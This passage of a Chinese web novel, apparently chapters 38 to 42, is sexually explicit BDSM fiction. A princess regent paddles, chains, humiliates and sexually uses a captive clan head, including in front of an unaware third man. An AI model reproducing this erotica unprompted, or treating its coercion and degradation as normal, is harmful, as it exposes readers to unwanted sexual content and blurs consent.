他遵从着主人的命令把重叠的月光分开,僵直的双手不知是出于羞耻还是疲惫禁不住的微微颤抖。 预想中的责打一直没有落下,身后的支配者说完那一句话后久久没有动作,也没有发出什么声响,只有渐渐变得平缓的呼吸声。 柳孤城现在的姿势是面朝下,视线只能看到鼻子下的香案方寸之地,看不见身后支配者的样子。他只能凭没有什么变化的呼吸声猜测她一直站在自己身后不动,同时好似有一道审视的目光一直在打量着自己。 她一直在等待。 等待本身就是一种调教。 等待未知的惩诫,等待未知的命令,等待未知的羞辱。等待的过程就是让名为“服从”的种子发芽的过程,在漫长的等待中不去催促、不去质疑、不去妄想,学会无条件的接受任何到来或还未到来的刑罚。 至于刑罚的执行,则反而是考验“服从”的结果。 所以越长风手执作为木板的灵位,甚至在空中挥舞几下,却是久久没有落下,只是静静注视着那两片白月光,让男人听见她刻意控制得平无波澜的呼吸声,除此之外四周环境却只有一片死寂,只能在一片空白之中等待。 不知等待了多久。 在柳孤城已经开始失去了对时间的观念时,一只手按在他的头上。动作不像刚才的两记耳光那样暴戾,却仍是不容置喙。 那一按似乎是暗示着等待结束、刑罚开始的 前奏。 “啪。” 第一下并不重,刚好让他感受到木板冷硬的触感,大概让他猜到打在自己身上的是什么东西,隐隐的酥麻代表占有和羞辱,仿佛只是在提醒他自己的身份。 男人的头微微偏侧了一下。 按在头上的手捏着他的下巴强行把它转回来,还惩罚性的捏出了几条红痕。 “允许你动了么?” 越长风的声音已经没有了方才的冷厉和暴戾,比平时低沉的嗓音像刽子手一样的冷漠和克制。 “没有,主人。” “那就别把本宫的话当耳边风。” 越长风话音刚落,接着是响亮的“啪”一声。 猛然的力道让本来已有松动的发髻散落,暗哑的闷哼从男人嘴边溢出。 柳孤城身驱一震,却还是坚持着屈辱的姿势,双脚直得发疼,双手再次用力掰开月光,不敢违背支配者的命令。 越长风在他看不见的地方嘴角微勾,情深款款的游戏固然好玩,但她还是喜欢看他在自己面前敢怒而不敢言、无论受了多少的委屈也只能乖乖屈服与忍耐的样子。 不论他是为了什么而挑战自己的底线,又是为了什么而收起张牙舞爪的样子,这一刻的他终归露出了男人最美丽的样子。 “啪。” 一下比一下更重的力度让男人身子歪斜,木板所落之处让八月十五的白月光变得泛红。柳孤城把先前已被咬破的舌头再次咬出了血,血绣味让他短暂清醒,身体下意识的第一反应却是调整姿势重新立直,唯恐支配者对他的“蠕动”有一分的不满意。 “啪。啪。啪。啪。啪。” “本宫不喜欢重复自己的话。”这是对他又一次私自挪动的惩罚。 事实上嫩滑的地方被板子重重责打,有谁又能反抗身体下意识的逃避而真的忍住不动? 越长风明知这是强人所难,她却必须让眼前一次又一次踩踏自己底线的男人明白,奴没有资格与主人平起平坐,自也没有资格去质疑她的任何命令。 就算再怎样不合常理也好,奴在下意识所做的一切,本来就应该因为主人的意愿而被强行修改。 “啪。啪。啪。啪。” “多少下了?”越长风又飞快的打了四下,然后状若不经意的问。 “十一下,主人。”柳孤城的嘴唇几乎是贴在案上,瓮声瓮气的回。 被动承受的时候还要主动数数,羞耻感源源不绝的涌上,柳孤城连自己也不知道自己是如何数得下去。 越长风不置可否的嗯了一声,手上动作继续。 “啪。啪。啪。啪。啪。啪。” 忽缓忽急、忽重忽轻的数十下后,柳孤城放在臀上的手终于无力滑落,两片月光再次贴上对方,甚至还抖了一抖。 “呵。” 没有笑意的笑声在空荡荡的灵堂里更显阴冷诡异。 “柳郎不是很会忍的么?” 柳孤城绝望的阖上眼睛。 “求你——” “主人。” 越长风把他的脖子整个掐住,男人面朝下的头颅被微微带离案面,他的脖颈被迫以不舒服的姿势后仰,臀上火辣辣的痛让他不禁大口大口的倒抽凉气,偏偏被桎梏的脖颈又让他难以如愿。 “忍不了,就说些本宫爱听的。你是本宫的什么?” “……奴是主人的所有物。” 越长风不置可否的轻笑。 “那你现下存在的意义是什么?” “……是伺候主人,取悦主人。” “啪”的一声,木板再次落下。 “不,”越长风摇了摇头。“是被本宫×,被本宫使用。” “……是,主人。”柳孤城的声音轻得不太真实。 “本宫本来给过你一个机会,去扮演一个平等的身分取悦本宫。”越长风的声音没有丝毫恼怒,反而有些发自内心的可惜。 这样平静而怜悯的话却充满着无形的压迫感,柳孤城再清楚不过自己根本不可能接受他们之间“叔嫂”的这一层身分,而她这么做的目的…… 不过就是为了告诉他,她早已预判到他的反应和行为,她知道他抗拒什么,妄图什么,但到了最后,他都只能顺从。 忽明忽灭的莲花灯下,本来白滑干净的白月光变成了红通通的血月,可怜巴巴的带着一种妖冶的凌虐美。 麻衣覆上圆圆红月,粗糙的表面与磨擦着激起层层战栗。 身体的反应骗不了人,满口大话的小骗子这才像被褪下伪装,一层一层由内而外地被剥光,又一点一点地被操控、被引导,成为支配者完全的私有物。 实在太可爱了。 越长风俯身下去,一手捏着他的下颌迫他微微扭头,看着他嫣红的眼尾和水光潋滟的通红双目,在他的唇角上施舍了一个吻。 她似乎对唇舌交缠的感觉有些上瘾,但相比被动的接受男人在自己唇上的亲吻,她还是喜欢在把他弄脏弄坏之后,残酷却又不失优雅地享用着属于自己的身体,用他身体上的痛苦来慰藉叫嚣着的的阴暗暴戾的支配欲。 “就这样,乖乖的。” 她在他唇上每一寸印下温柔轻吻。 “好不好?” 柳孤城闭上了眼睛。 “……是,主人。” 越长风看不见他的眼睛,也听不出他这句合乎规矩的话到底是出自真心与否。 男人被吮得微微肿胀的唇瓣上方传来支配者闷闷的笑。 “那么,告诉我。”她的声音低沉而魅惑。“你是怎么知道鸢鸢的?” 柳孤城一下清醒。他却没有睁开眼睛,依旧保持着急促而混浊的鼻息,声音沙哑仿佛还在迷离之中。 “我知道你和大哥之间的一切。”他半真半假的说着,没有用敬语贱称,听下去却更加让人感觉真诚。“直到我被逐出柳家之前……我一直都躲在暗处,偷偷窥视。” “哦?”越长风伸手摸摸他有些火辣辣的下唇,像在挑逗有趣的宠物一般,饶有兴味的笑笑。“那你知道柳时言是怎么死的吗?” 咯噔一声。 柳孤城听见自己心如擂鼓的跳。 他当然知道柳时言是怎么死的。 自柳十二脱离柳家进入聚贤阁以来,等待的便是这一个机会。不是以影子替身的身份活着,而是等这位所谓大哥和少主跟着注定失败的太子死去,再以榜首枪替的身份打入组织内部,借着空隙乘机上爬,最后取代他,超越他,成为真正掌控影子朝廷的聚贤阁主。 他早就知道柳时言会死在他并不放在眼内的妻子手上。 但他只是摇了摇头,眼帘打开,露出泛红而迷茫的黑眸:“奴不知。” 桀骜不驯的恶狼仿佛在经过冷酷无情的调教之下已经收起爪牙,变成老实驯化的家犬。 越长风用指背扫扫男人可怜兮兮的眼尾,不置可否的笑笑。 “柳哥哥死的时候,本宫就在他的身旁。”桃花眼里笑意盈盈,含情脉脉的注视着身下动弹不得的柳孤城。她凑到他的耳畔,轻轻问道:“他是怎么死的,你想不想知道?” 柳孤城眸光清明,仿佛这才清醒过来,明净如湖的黑眸里却是一片清明,坦荡荡的方法没有一丝隐瞒,清晰不过的倒影着身上充满恶劣笑意的支配者。 “主人的意愿,就是奴的意愿。”他一脸乖顺的应道。 驯服、乖巧,不去触碰她的底线,却又巧妙地回避了她想要知道的答案。 两人之间一片诡异的死寂,也不知道过了多久。 “呵。”越长风爽朗的笑出声来。“小骗子。” 第39章 第39章书案前和书案下(柳孤城…… 葬礼之后,尚书左仆射一职由原来的尚书侍郎顶上,柳家的新任家主也得到了柳家上下和其他三大世家的认可,科举枪替的风波好像就这么落幕了,无论是朝廷还是世家日子一样都还是那样的过。 从名不经传到成为在家族和世家之间毫无异议的柳家家主,柳四郎也是很会做人,转头便给朝廷送上了一份大礼。 那是一 份江东船务的航线图。 江东船务是柳家的主要资产之一,水上运输也是由柳家一家独大的市场。箇中原因除了有柳家财雄势大的因素外,更重要的是他们独有的航线图——柳家船务除了走遍大江沿岸,也有资助旅行者扬帆出海,探索茫茫大海以外未知的世界,一点一点的绘成了这些海洋航线图。 越长风坐在书案后的宝座上,座下一如既往的扣着金链,被金链拴住的男人默默跪在一旁,一动不动的像是一尊没有生命的玩偶一般。 柳孤城以柳家家主的身份主持“亡父”的葬礼后便被传召进了长公主府,脱下端庄的蓑麻孝服,换上衣不蔽体的薄纱,重新夹上名为“规矩”的条条金链。 ——主人的命令是:她不用他的时候,他也必须在旁侍奉,但他的双手缚在背后,不许发出声音,也不许有一丝动静。 每一条金链上都系着铃铛,越长风让他跪直,淡淡丢下一句:“铃铛不许响起,哪里响了就罚哪里。” 然后就把他丢在脚下,仿佛男人并不存在,翻着手中由他呈上的航线图看得津津有味。 与灵堂里她流露过的激情、暴戾和冷酷不同,现在的越长风像是重新掌握了对自己情感的全面控制,没有一丝一毫的失控,把男人拴在座下与其说是奖惩或训诫,更似是在留白。 浮躁不安的心,需要用留白的时间去磨平。 用单调甚至枯燥的时间去打磨他的性子,加深他的身份认同,让他习惯为奴应有的态度和礼仪,就像她也在用这段时间也在学习冷漠和抽离,做好从容自若的主人角色。 时间一点一滴的过去,书房里静得细针落地可闻,柳孤城不知自己跪了多久,意识开始变得麻木。 越长风忽然开口:“为什么把航线图给我?” 柳孤城身子微颤,愕然抬首。这一抬却是扯动了胸前“规矩”,铃铛叮叮当当的响了起来。 越长风这才正眼看他,俯身下去一手托起他的下巴,另一手毫不留情地打在“规矩”上,一把将金链打在地上。 柳孤城把下唇都快要咬出血来,终是忍住了没有发出声音。 在反覆惩罚之下终于学会了支配者的法则,越长风对这个中段成果很是满意:“柳郎真乖,自己把规矩叼起来,让本宫给你戴上。” 柳孤城也没有忘记回话,“是,主人。”她说的是叼,他的双手也被捆在背后,只能趴低身子用唇齿勾起地上金链,然后努力伸长身子,尽量以最小的动作把“规矩”交到越长风摊出来的掌心里。 可是,动作再小,一动便响的铃铛又怎会完全不发出声音? 柳孤城默默看着主人“好心”的帮他把“规矩”重新戴到红肿的位置上,一边保持着静止不动的玩偶状态,以为此事就此便了,却又再次听见支配者居高临下的声音:“刚刚才教过的东西,柳郎又忘了么?” 他一下懵了:“这……” 这明显是强人所难,要把地上的铃铛叼起来重新戴在身上,哪有不响的道理?可越长风明显是要折辱于他,偏偏要他明白无论支配者的规矩有多强人所难,他也只能乖乖接受无法遵守的惩罚,奴从来都没有向主人据理力争的权利。 柳孤城把说到口边的话强行咽了下去。 “是,主人。”他的声音因疼痛和绝望而变得微哑,低声道:“奴的铃铛响了,请主人赐罚。” 越长风知道他已经学会了自己给他上的一课,便不再为难,轻飘飘的说:“这一下先记着,现在回答本宫的话。” 为什么要把江东船务的航线图给她? 柳孤城定定地凝视着高高在上的支配者,她的脸色一片淡然,看不出什么情绪。 “因为奴不想重蹈大哥的覆辙。”他轻轻说道。 男人的双眸一片澄澈,越长风与他对视,看不见黑眸深处那一点的叛逆星火。 她无法判断他说的话是真是假。可在灵堂的那一天,她也没有对他说过真话。 那时她一边轻抚柳孤城高高肿起的两片血月,一边半真半假的说道:“柳哥哥因为地下钱庄的那两本帐簿和太子产生龃龉,被太子趁乱所杀。” “奴把柳家赖以掌控船运的秘密给了主人。”柳孤城的模样真诚至极,还带着一丝让人难以狠得下心的楚楚可怜。“求主人垂怜。” 越长风心中莫名一动。 一闪即逝的悸动却很快便被抛诸脑后,越长风不上心的笑笑:“就算你不主动把东西奉上,本宫可也没有废太子那么无情,怎会杀了你呢?” 只是,最无情的从来都不是死在玄武门下的废太子。柳孤城心如明镜,却没有说话。 越长风见他没有回话,也不发怒,只是续道:“柳郎每一次跟本宫这样讨价还价,都是必有所求。” 她再次露出了那副怜悯的表情:“说吧,这次的条件是什么,让本宫想想你该付出怎样的代价。” 柳孤城张了张嘴,却是欲言又止。 “怎么?”越长风秀眉一挑,“够胆跟本宫三番四次讨价还价的柳孤城,现在是不敢提出要求,还是不敢接受代价?” 她的声音淡漠而克制,听不出什么感情,却让柳孤城感受到无形的压力罩顶。 柳孤城脑中飞快的转过无数念头,真诚而无辜的脸色骤然变得凝重。 “奴求求主人。”他结结巴巴的说着,似乎多有隐衷,一副心有余悸的样子。“不要再查下去了。” 查什么? “奴斗不过他们的。” 斗什么? “奴……想要好好活着。” 有什么会让已经铲除族中反对声音的柳家家主活不了的? 柳孤城的每一句话都是没头没尾,一般人听到之后都只会心生更多疑窦,但他知道越长风比谁都要清楚他到底在说什么。 对于柳家背后的人——不要查下去了。 控制着世家家主的影子朝廷——她斗不过他们的。 而他柳孤城只是处于朝廷和影子朝廷的夹缝之间的可怜虫——不过想要好好活着。 柳孤城不知道越长风对聚贤阁认知多少,但他可以肯定的是,她这些年来一边装作对亡夫情深难忘,一边暗中查探柳时言背后势力,显然已经隐约探知到影子朝廷的存在。 她不介意帮助自己铲除异己,坐上阁主之位,还多番训诫调教自己,在自己身上形成无法逆转的臣服意识,为的不是她的一己私欲,或者说满足的不只是她的那些阴暗欲望。 眼前看似轻轻淡淡的女郎,本来就是以他作为工具,打入影子朝廷的内部,成为她窥探世家背后势力的一根针。 可惜,她找上了的偏偏是聚贤阁主本人。 她在明而他在暗,到底是谁掌握了更多信息,是谁在这场无形的角力中占据了主导地位,谁是猎人而谁是猎物。 还真是难说得很。 越长风沉吟半晌,正在思考着男人以卑微可怜的口吻说出的这三句话里所有的明示暗示,却忽听下人来报,翰林修撰顾锦卿正在外院等候召见。 柳孤城身子一僵,脸上明显掠过一丝慌乱,却明显不敢乱动。 越长风别有深意的看了他一眼,笑着吩咐下人:“让顾大人直接进来吧。” ----- 顾锦卿进来的时候,越长风正在书案后懒懒坐着,她的心情似乎很好,脸上是一副兴味盎然的笑。 “姐姐。”顾锦卿的眼睛弯成了月牙儿,眉眼含笑小跑上前,却发现他那慵懒的姐姐竟然一下正襟危坐起来,本来和书案边边离得远远的上半身一下贴近案沿,仿佛在下 意识的戒备……或者在隐藏书案底下的什么。 他心下一阵奇怪,嘴上却是一副纯真的撒娇道:“姐姐好久没有传召我了。” 越长风上身前倾,身子和案沿之间更是没有留下一丝缝隙。她朝顾锦卿勾勾手指,一身衣冠楚楚的翰林修撰便像最听话的小狗一样乖乖把头送了上去,让她隔著书案挠挠他的下巴,嘴里还恰到好处的发出一声轻叹。 “怎么了?”她的脸上不自觉的多了一丝宠溺,明知故问道:“小狗挂念姐姐?” 顾锦卿扁扁嘴:“就只有小狗挂念姐姐,姐姐都不挂念小狗。” “这怎么会呢?”越长风漫不经心的笑着,不走心的哄道:“不挂念小狗的话,姐姐就不会特意传召你了。” 顾锦卿毫不犹豫地拆穿她的谎言:“明明姐姐派人来传的时候,说的是有关翰林院的事。” 终于说到了正题上,越长风调笑的表情多了几分庄严正经,玉手放开小狗的下巴,指了指下首的椅子:“锦卿坐吧,这事我们慢慢说。” 顾锦卿不舍得离开姐姐触碰范围以外,却也不敢忤逆,乖乖走到下首坐下。 他忽然瞥见了书案边上的那堆东西。金光闪闪的,用途不明,却显然和书案格格不入。 “这些是——” 他才开口说了三个字,却被越长风摆手打断。 “不该问的,小狗就不要问了。”她的声音轻轻柔柔的,顾锦卿却知道却是翻脸无情的先兆,眼尾微耸的点了点头。 那是一堆小小的铃铛,那些铃铛本来扣在名为“规矩”的条条金链上,在顾锦卿进来这里的前一刻才被取下放在案上。 而戴着那些“规矩”的男人,此时却是跪在案下,听见邻家弟弟的声音心里砰砰的跳着,却只能死死忍住把呼吸声降到最低,但求这位被他驱逐出阁的前下属发现不了自己的存在。 偏偏越长风却不让他如愿,悄悄脱了鞋袜的玉足不安分的到处撩拨,柳孤城身上的铃铛虽然已被取下,但条条“规矩”还在,被玉足的足趾或轻或重的拉扯挑动着,羞耻感和屈辱感让他头脑发热,努力想要压下变得沉重混浊的鼻息,唯恐太大声了就真的会被把自己视作恩人伯乐的顾锦卿发现。 越长风呵的一声轻笑,也不知是在笑书案前的顾锦卿转軚之快,还是笑书案下的柳孤城有多么努力在忍耐。 第40章 第40章三人同堂、取悦她 不可以被弟弟发现。 只是因为三人同堂,支配者甚至不用一句命令或者威胁,柳孤城便自动自觉的咬牙隐忍——实在太听话了,桌下含羞忍辱的狼几乎便要比桌前乖巧黏人的狗更加驯化。 见顾锦卿在堂下坐定,越长风上身重新后倾,慵慵懒懒的半躺在宝座上。 书案下的脚开始肆无忌惮的游走,还偏不给桌下男人一个痛快,瘙痒难耐得让他头皮发麻。 座椅和书案之间的空间本就狭窄,柳孤城身形颀长,被迫弓着跪在桌下已是难受得紧,还要受支配者的玉足随意亵玩,偏偏他避无可避,双手被缚无法捉住那只不安分的脚,又不能发出一丝声响让顾锦卿发现桌下异动。 越长风看也不看桌下的人,只是用脚感受着他的僵硬和燥热,一边若无其事的和顾锦卿说起话来。 “这些天在翰林院过得怎么样?” 女郎声音温柔,带着发自真心的关怀和宠溺。书案下的柳孤城眸光幽深,面色阴沉,同样是温温柔柔的声音,她永远留给自己的却只有温柔假象之下的残忍和轻蔑。 顾锦卿软软糯糯的声音也是柳孤城想也不敢想的:“小狗天天都在想姐姐。” “大传胪那日之后……我都没见过姐姐了。”他可怜巴巴的看着上首闲适惬意的女郎,恨不得上前与她亲近,没有她的命令却又只能乖乖坐着。“还以为当上了官,可以在皇城里天天见到。” 桌下“天天见到”的男人身子一僵。越长风脚趾一勾,勾在他胸前“规矩”上,感觉到他不知是出于害怕还是的战栗,饶有兴味的笑:“你看你多没大志,就只会想姐姐。” 也不知这话是说给书案前的人听,还是说给书案下的人听。 “小狗的大志,就是走到可以光明正大见到姐姐,和姐姐站在一起的高度。”顾锦卿定定的注视着上首女郎,目光澄澈而真诚,说出的话却是大胆至极甚至逾越。 越长风一下坐直身子,目光冷凝。 “和本宫站在一样的高度?”她嘴角微勾,笑容没有温度。 柳孤城蜷缩在桌下一角,看得见的只有面前那只玉足,却不难从那清清冷冷的话音里想像她此刻脸上似嘲非嘲的表情。大概还会加上一句,你配吗? 出乎他的意料之外,越长风却只是轻轻一笑,脸上冰雪消融,柔声道:“那小狗可要好好努力了。” “沈中书和政事堂的宰相们,可是每天都要面见本宫的。” 她懂得如何抛出诱饵,也不介意向乖巧上进的小狗抛出他想要的诱饵。只要他凭自己的野心和能力爬上高位,然后贡献给她所有的权势、利益,以及忠诚。 柳孤城心如明镜,可是他只能被缚着双手跪在桌下,越长风连一点滴糖衣毒药也不屑施舍给他,只有残酷的调教和驯化。 “本宫手里有一份大江南北以至大海之外的航线图,本宫想派人沿线航行,把所见所闻编成一本风物志。”越长风不知也不管桌下的人在想什么,只是眉眼带笑的看着堂下青年才俊,然后用眼神示意桌案一角放着的柳家船运航线图,“顾翰林怎么看?” 一说起政事来,掌权者的脸上表情威严而优雅,不带有什么私人感情,称呼也由亲昵的小狗变成硬梆梆的官衔。 顾锦卿没想到姐姐把自己叫来府里是为了这样正经八百的事,一时呆住。他却很快便反应过来,翰林院的工作本来就是编修史典书籍,航海图和风物志的确是在他的职责范围之内。 他连忙收敛心神,认真说着自己的见解,除了风物志意外朝廷还可以怎样利用航海图上提供的资讯开通海上贸易,从中分一杯羹,说的一通头头是道。 两人一来一回的,仿佛回到了往日资助人向受资助的穷书生抽检功课的日子,他们之间的关系不是有着天渊之别的君臣,只是暧昧不明的“殷姐姐”和小解元。 越长风认真听着,一边让顾锦卿解释细节之处,一边鼓励性的微笑点头,在初出茅庐的青年面前担当着富有经验的引导者角色。 在顾锦卿看不见的书案下,玉足却沿着另外一个男人的身体往上,碰到了那张五官端正分明的脸。 柳孤城僵硬的身体明显一震,脸颊烫得像火炉一样。 屈辱感、羞耻感、割裂感、无助感。所有的情绪如潮水涌袭,他能做到的却只有死死忍住粗重的呼吸声,并且紧抿嘴唇,死守门户不让恶意满满的足趾入侵。 越长风眉眼含笑,脸上依旧泰然自若,没有因为桌下男人的“忤逆”而感到挫败,更加没有在堂下小狗的面前流露出一丝一毫的破绽。 “过来吧,小翰林。”她笑着招了招手。 顾锦卿在下首的椅子上早已是如坐针毡,恨不得从冷冰冰的座位上跳起来扑上前去,和他的殷姐姐亲近。而他事实上也这么做了,一蹦一跳的走到书案前。 越长风微微前倾,仿佛在隔着桌子主动与他拉近距离,却也恰好的遮住了上身和桌子之间唯一有可能漏出桌下风光的那一条缝。 而在同一时间,桌子下的脚精准的移到了柳孤城身下的笼子上。 他仅仅吞下了快要溢出唇边的低呼。 脚尖却没有放过临近崩溃的他,反而不轻不重的一辗。 “呃——”柳孤城终于忍不住闷闷一哼。 这时,越长风的话音恰好响起。 “把这本航线图拿回去吧,好好端详一下,然后给本宫上份折子。”她若无其事的说。 说这句话的时候,越长风似乎刻意提高了声线,在顾锦卿离得这么近的情况之下,反而比刚才更高的声量几乎便要让人怀疑书案下别有玄机。 却是刚刚好盖住了男人极低的哼声。 黑暗窄小的空间里,柳孤城神色复杂,明明是她刻意让自己几近暴露,把自己放在这个随时被人发现自己耻辱下贱一面的位置,是她把自己生而为人的尊严生生夺走,深刻地把卑微的身份印在他的下意识里。 却也是她在最紧急的时刻,伸手把悬崖边上摇摇欲坠的他给拉了一把。将她亲手剥夺的尊严与人格,在他最绝望的时候给他还了那么一点点。 偏偏他还不自禁的感到有那么一点点的感激。 而且不只感激,似乎还有那么一点病态的兴奋。 笼子里的金丝雀蠢蠢欲动的抬起头来。 越长风明显也感觉到了,动作反而更加肆无忌惮。 柳孤城的双手缚在身后,没有任何办法制住那只肆意作乱的脚,他扭动着身子一直后退,直到后背顶在书案边缘垂下的木板上,终于退无可退。 玉足却还在拙拙逼人的步步进击,一步一步的侵占他的空间,把他玩得将近崩溃。 “姐姐。”顾锦卿的声音忽然在头顶响起。 越长风单手支颐,似笑非笑的看着他。“嗯?” 顾锦卿总觉得自己刚才听见了什么声音,心里也有一阵挥之不去的怪异感觉,好像有一双眼睛在暗处凝视着自己。 可是这书房里明明没有第三个人。 他强自压下那种让人不安的怪异感,把清俊的脸凑近女郎面前,纯情无辜的眼睛眨了眨。“小狗今天可不可以留下。” 越长风但笑不语。 朝中新贵的青年才俊此刻不过是一条黏人的小狗,得寸进尺的问:“姐姐想不想要小狗伺候。” 不是他可不可以,而是她想不想要。三元及第的状元郎悟性实在是高,太过懂得她想要听见什么,他又应该把自己放在什么位置上向她求怜。 越长风伸手抚了抚黏人小狗红润的唇瓣,手指从顺从地为她门户大开的双唇之间钻了进去,修剪整齐的指甲轻轻刮弄小舌上的舌苔,搅动着它迫它与支配自己的指尖共舞。 唇舌讨好地包裹上去,无微不至的伺候着支配者贪玩恶劣的玉指。 越长风玩了一会,才悠悠然问:“可是本宫公务繁忙,小狗想要怎样伺候?” “跪在书案下面,本宫一边处理朝政,忙得记不起还有一只小狗,但小狗也还一边勤勤恳恳地在本宫脚下工作。”她缓缓说着,语气慵懒惬意,平静得仿佛在描述一件再普通不过的事。 一件的确现在正在发生的、在这座公主府里再也普通不过的事。 嘴上话音刚落,桌下的脚趾便一下夹住了金丝笼子的顶端,轻轻一扭。 柳孤城退无可退,也没有活动自如的双手可以紧紧抓住狠下心来要让他在第三人面前彻底暴露的下贱一面。 但他还有一张嘴。 柳孤城终于狠下心来,身子骤然一弓,张嘴咬了下去。 这次轮到他感觉到对方出乎意料的惊讶和僵硬。 他竟然还感觉到一种报复的满足感。 “唔,用你这里——”越长风很快便控制住了脸上表情,淡然抽出手指,轻蔑地往桌前小狗的唇上一抹。“取悦本宫?” 桌下的人一点也不听话,桀骜不驯的狼竟敢反咬主人,她却没有恼怒,反而觉得有趣极了。 ——在某种意义上,柳孤城的确用自己的唇齿取悦了她。 越长风发自真心的呵笑出声。【你现在阅读的是 】 40-50 第41章 第41章双调完 顾锦卿对书案下正在发生的激烈“战斗”浑然不知,只是听着她直白露骨的话脸颊一下涨红。 他再怎么放得下身段大胆勾引,到底还是缺乏经验,越长风知道怎样把他拿捏得死死的。 “想要这样伺候吗,小狗?”越长风笑得悠然闲适,微微濡湿的手指挠挠他的下巴,就像对待心爱的宠物一般。“不被当人的对待,像是一件没有生命的物件,永远放在本宫身边、用来取悦我的物件。” 顾锦卿身躯一震,脸上的嫣红延至眼尾,眸中水光粼粼,像是被欺负狠了,快要哭出来的可怜小狗。 “姐姐……” 越长风好整以暇地凝望着他脸上毫不掩饰的挣扎,她并不在意顾锦卿的选择,反正她有的是时间,享受的本也是观赏他这纯情害羞的模样和心内交战的过程。 桌下的玉足还在桀骜不驯的恶狼口里,她也不急着挣脱出来,反而试探着小幅度的搅动拨弄。本来柳孤城是用身上唯一能动的地方来反抗支配者的玩弄也阻止自己因为她的动作而禁不住发出声音,被她这样一搞却反而变成了温柔小意的口舌伺候。 高下之分,立时逆转。 又或者他自以为是反将一军的反抗本来就没有让他反客为主,越长风早已料到他的反应,把他逼到墙角再安排好了他唯一可以采取的举动反应,所谓的自由意志和选择也不过是用来取悦她的余兴节目。 桌面上越长风用来刺激挑逗顾锦卿的假想情境,对于桌下的柳孤城来说其实早已成了现实。 见桌案下的柳孤城还有反抗之心,而桌案前的顾锦卿依旧犹豫不决,越长风决定再加一把火。 “想要的话,就过来这边,钻进桌子里跪着。”女郎声音微沈,带着让人难以抗拒的魅惑,眸光幽深像是诱人堕落的无底深渊。 顾锦卿有些懵了,他从来都知道自己的“殷姐姐”规矩大、控制欲强,他要留在她的身边便要顺从听话,摆出一副可怜小狗的模样求她垂怜。 但他从来都只是听话黏人的小狗,而不是绝对物化、没有个人思想和人格的一件物件。 他以自己的名义考取功名,带着满腹的梦想和理念入朝为官,是为了做一个人,而不是做一件物件。可是他也明显感觉到自己开始迷失,就像他此刻迷失在那双看似温情实质凉薄抽离的桃花眼里。 “过来。”越长风懒懒说道。 这话说得一点也不急,听在顾锦卿的耳中却不无催促之意。 桌下的柳孤城身躯一震,牙关警告似的往脚上一咬。 只要顾锦卿再往前一步,绕过桌案,便会发现蜷缩在桌下的他。 发现他由始至终都在和自己谈笑风生的越长风脚下,像是一件没有生命没有尊严的木偶玩物,含羞受辱来取悦他们那个高高在上的支配者,就像支配者所说的一样,用他的唇舌来取悦她。 这一瞬间无论是对桌案前的顾锦卿还是桌案下的柳孤城来说都是别样的煎熬。书房里的三个人之中,爽的从来只有一个。 就在千钧一发之际,越长风忽然轻笑出声。“说笑的。” 嘴里说是说笑,寒凉的双目里却没有多少笑意。 “姐姐又怎会舍得剥夺小狗的思想人格,彻底物化我最可爱最听话的小狗呢。”她抬手抚摸顾锦卿泛红的眼角,明媚的笑:“这不是小狗该做的事,也不是小狗想做的事。” “可是……”顾锦卿嗫嚅:“小狗还想伺候姐姐。” 越长风把抚摸着他脸颊的手指放在他红艳欲滴的嘴唇边,施舍一样的微笑:“舔吧。” 简单的命令,既是对着桌前青年,也是对着桌下男人。 顾锦卿一双无辜的眸子里满是虔诚与专注,凑近前去亲上了涂着蔻丹的指尖,舌尖伸出柔顺轻舔,动作缓慢而细致,轻柔得彷佛微风拂过。 表情和动作都好像不是在服从一个伺候主人的命令,而是得到一件无比珍贵的奖赏。 相比之下,桌下的男人不情不愿,牙齿甚至刻意咬痛玉足,留下一排深深的印记,却还是被逼用唇舌伺候。 桌上和桌下的反差不仅让越长风大饱眼福,也彻底满足了她的征服欲和占有欲。 她享受了好一会儿,才从顾锦卿口中抽出手指,桌下动作却依旧不停。 “ 回去吧,好好做出成绩来,姐姐在政事堂里等着你。” 政事堂。只有加了同中书门下平章事的宰相才有资格进入的朝廷核心,也是最接近朝廷实际掌权者的摄政长公主的地方。 无论是为了自己还是为了他的殷姐姐,这就是顾锦卿需要爬到的高度。 ----- 第42章 第42章你看你现在,是不是听话…… 顾锦卿离开之后,越长风才把脚抽了出来,伸手一拉桌下男人锁在脖子上的金链。 “出来吧,柳郎。”她漫不经心的道。 柳孤城扭动身体默默爬出桌外,重新跪在宝座一侧。 越长风玩味的往他身上每条金链都用脚一勾,代表管教和惩罚的条条“规矩”上都沾上了暧昧的水渍,拉扯着被“规矩”夹得发红的脆弱部位。 柳孤城对她恶劣的玩弄本应早已麻木,却还是禁不住发出一声似痛非痛的暗哑低哼。 玉足最后在薄不蔽体的纱衣上随意一擦,把男人沾在上面的涎液尽数抹在他自己身上,越长风这才为他的双手松绑,命令道:“自己把铃铛重新戴上。” “是,主人。”柳孤城几乎是立即便作出回应,声音低沉听不出有什么感情。 越长风看着他表情隐忍的把金铃一颗一颗挂在链子上,铃铛发出的叮当之声破除一片寂静,珠玉落盘的声音清脆悦耳。 矜贵俊美的男人一脸羞耻地在自己身上戴上代表玩物身份的铃铛,精致的眉眼里神色复杂,修长的脖颈像仙鹤般高傲的仰起,与背上深深的旧疤和手上做着的卑贱动作形成一种难以言喻的割裂感和凌虐美。 支配者拿过桌上茶盏悠然呷着,欣赏的目光在眼前美景上肆意游走。 “好吃吗?”她忽然没头没尾的问。 柳孤城当然知道她是在问什么好不好吃,脸颊刷的一下变得通红。 他没有即时回话,温热的茶水便毫不留情的倒在背上,渗透薄薄的纱衣烫得他的背后肌肤和双颊一样的嫣红。 “嗯?”支配者冷淡的声音透着不耐。 “……好吃。”柳孤城不得不回话,而他可以回的话也没有选择的余地。“多谢主人。” 越长风低笑一声,没有再说什么,只是召了下人传膳。 色香味俱全的精致小菜布满桌案,越长风一如既往的把切成小块的餸菜放在给柳孤城做的清粥上,却没有像往常一样把粥碗放在地上。 她的身子微微俯下,玉足从裙下伸出,在男人灼热的目光下有一下没一下的摇曳着,粥碗堪堪悬在足背上方。 “好吃的话,就多吃一点,嗯?” 足趾挑起男人的下巴,力度轻柔却带着不容抗拒的坚定,迫使他抬头迎向她的视线。 他在那双桃花眼里再次看见了熟悉的怜悯和施舍。 每次看见那样的眼神,柳孤城都知道自己接下来的时间不会好过了。 果不其然,越长风用脚摸摸他滚烫燥热的双唇,在他下意识地往后一缩的时候,悬在足上的粥碗微微倾斜,碗里的碎肉和粥水便缓缓流到玉足上面。 柳孤城还记得越长风第一次给他喂食的场景。 